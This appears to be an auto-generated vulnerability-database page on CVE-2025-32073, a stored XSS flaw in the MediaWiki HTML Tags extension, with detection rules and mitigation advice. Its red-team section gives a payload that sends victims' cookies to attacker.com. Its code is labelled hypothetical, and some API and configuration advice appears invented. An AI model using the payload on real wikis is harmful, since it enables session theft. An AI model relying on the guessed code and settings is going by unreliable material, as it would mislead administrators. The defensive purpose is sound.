CVE-2025-32073
Executive Summary
CVE-2025-32073 is an Improper Input Validation vulnerability in the MediaWiki HTML Tags extension, affecting versions 1.39 through 1.43. This flaw allows an attacker to inject arbitrary JavaScript into the context of a victim's browser session, leading to Cross-Site Scripting (XSS). The vulnerability stems from insufficient sanitization of user-supplied input within the HTML Tags extension, which is used to embed custom HTML elements in wiki pages. An authenticated attacker with the ability to edit pages can craft a malicious payload that bypasses MediaWiki's built-in HTML filtering, resulting in persistent XSS. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MediaWiki is a PHP-based open-source wiki platform. The vulnerability resides in the HTML Tags extension, which is not part of the core MediaWiki package but is commonly installed via Composer or manually. Organizations using MediaWiki should verify if the HTML Tags extension is installed and review their dependency management practices. The lack of a published patch or advisory from the vendor increases supply chain risk, as users must rely on manual mitigation or temporary workarounds.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the nature of the vulnerability (XSS via improper input validation), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs an account with edit permissions.
- User Interaction (UI): Required (R) – The victim must view the malicious page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited modification of data possible.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS Score: 6.1 (Medium)
Threat Level: Medium – Exploitation requires authenticated access and user interaction, but the impact can be significant in a collaborative wiki environment.
Deep Dive & Mechanics
The MediaWiki HTML Tags extension allows administrators to define custom HTML tags that can be used in wiki pages. The vulnerability arises from improper input validation when processing user-supplied attributes or content within these custom tags. Specifically, the extension fails to sanitize or escape certain HTML attributes that can contain JavaScript event handlers (e.g., onmouseover, onclick) or javascript: URIs.
Attack Flow:
- An attacker with edit permissions creates or modifies a wiki page.
- The attacker inserts a malicious payload using a custom HTML tag defined by the extension, such as:
<mycustomtag onmouseover="alert(document.cookie)">Hover here</mycustomtag> - The extension processes the tag but does not strip the
onmouseoverattribute. - When a victim views the page and hovers over the element, the JavaScript executes in the context of the victim's session.
- The attacker can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing site.
Root Cause: The extension likely uses a whitelist-based approach for allowed attributes but fails to include common XSS vectors like event handlers. Additionally, the extension may not properly validate the src attribute of <script> tags or the href attribute of <a> tags for javascript: URIs.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.
Vulnerable Code (Hypothetical):
// In HtmlTags.php
function processTag($input) {
// Directly output user input without sanitization
return "<$input>";
}
Patched Code (Hypothetical):
// In HtmlTags.php
function processTag($input) {
// Use MediaWiki's built-in sanitizer
$sanitized = Html::sanitize($input, ['allowedTags' => ['mycustomtag']]);
return $sanitized;
}
The patched version would leverage MediaWiki's Html::sanitize() function, which strips dangerous attributes and encodes special characters.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A MediaWiki instance (version 1.39-1.43) with the HTML Tags extension installed.
- An account with edit permissions.
Steps:
- Log in to the wiki.
- Create a new page or edit an existing one.
- Insert the following payload:
<mycustomtag onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Hover here</mycustomtag> - Save the page.
- Send the page link to a victim (e.g., via email or social engineering).
- When the victim hovers over the element, their cookies are exfiltrated to the attacker's server.
Alternative Payload (Self-executing):
<mycustomtag><img src=x onerror="alert(1)"></mycustomtag>
Blue Team (Defender)
Detection:
- Monitor for unusual page edits containing event handler attributes (e.g.,
onmouseover,onclick). - Use WAF rules to block requests containing
on*=patterns in page content. - Review server logs for requests to external domains from wiki pages.
Mitigation:
- Disable the HTML Tags extension if not required.
- Restrict edit permissions to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts and restrict external connections.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the wiki server.
- Requests containing
document.cookiein the URL or POST body.
- File IOCs:
- Wiki page revisions containing event handler attributes (e.g.,
onmouseover,onerror). - Presence of
<script>tags in page content where not expected.
- Wiki page revisions containing event handler attributes (e.g.,
- Log IOCs:
- Repeated 403 or 500 errors from the HTML Tags extension.
- User agents associated with automated scanning tools.
Detection Engineering
YARA Rule
rule CVE_2025_32073_MediaWiki_XSS {
meta:
description = "Detects malicious payloads targeting CVE-2025-32073 in MediaWiki HTML Tags extension"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-32073"
strings:
$event_handler = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
$javascript_uri = /href\s*=\s*["']?\s*javascript\s*:/ nocase
$img_onerror = /<img[^>]+onerror\s*=/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-32073 MediaWiki HTML Tags XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-32073 via malicious HTML tags in MediaWiki
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'action=edit'
- 'action=submit'
cs-body|contains:
- 'onmouseover'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in wiki pages (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32073 MediaWiki HTML Tags XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"action=edit"; http_uri; content:"onmouseover"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the HTML Tags extension if not critical to operations. This can be done by removing or renaming the extension directory.
- Restrict edit permissions to only trusted users. Use MediaWiki's user group management to limit who can edit pages.
- Implement a Web Application Firewall (WAF) rule to block requests containing event handler attributes (e.g.,
on*=).
Long-term Fix:
- Monitor the Wikimedia Foundation's security advisories for an official patch.
- Once a patch is released, update the HTML Tags extension to the patched version.
- Consider using a more secure alternative for custom HTML tags, such as MediaWiki's built-in
ParserFunctionsorTemplateStyles.
Workaround:
- Add the following to
LocalSettings.phpto disable the extension:wfLoadExtension( 'HtmlTags', false );
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.